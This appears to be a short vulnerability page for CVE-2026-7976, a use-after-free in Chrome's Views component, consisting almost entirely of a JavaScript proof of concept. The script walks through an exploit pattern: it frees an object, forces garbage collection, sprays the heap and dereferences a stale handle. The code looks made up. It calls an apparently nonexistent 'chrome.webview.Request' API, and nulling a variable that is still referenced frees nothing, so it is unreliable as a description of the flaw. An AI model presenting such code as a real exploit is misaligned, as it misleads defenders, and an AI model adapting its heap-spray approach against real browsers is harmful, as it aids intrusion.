CVE-2026-7976 Google Chrome释放后使用漏洞

// Conceptual PoC for CVE-2026-7976 (UAF in Views via Extension) // This script simulates the interaction within a malicious Chrome extension context. function triggerUAF() { // Step 1: Create a View object that will be freed later let vulnerableView = new chrome.webview.Request(); // Step 2: Setup a dangling pointer reference scenario // (Simulating the logic flaw in Views component) let danglingRef = vulnerableView.handle; // Step 3: Force free the original object vulnerableView = null; // Force Garbage Collection if possible (browser dependent) if (window.gc) window.gc(); // Step 4: Reallocate memory to occupy the freed space // Attackers often use array buffers to spray the heap let sprayBuffer = new ArrayBuffer(0x100); let view = new Uint8Array(sprayBuffer); for(let i=0; i<view.length; i++) { view[i] = 0x41; // 'A' } // Step 5: Access the dangling pointer to trigger crash or code execution try { console.log("Attempting to use dangling pointer..."); // Accessing the handle after it has been freed triggers the UAF let data = danglingRef.read(); } catch (e) { console.log("Exploit failed or crashed safely: " + e); } } // Execute trigger triggerUAF();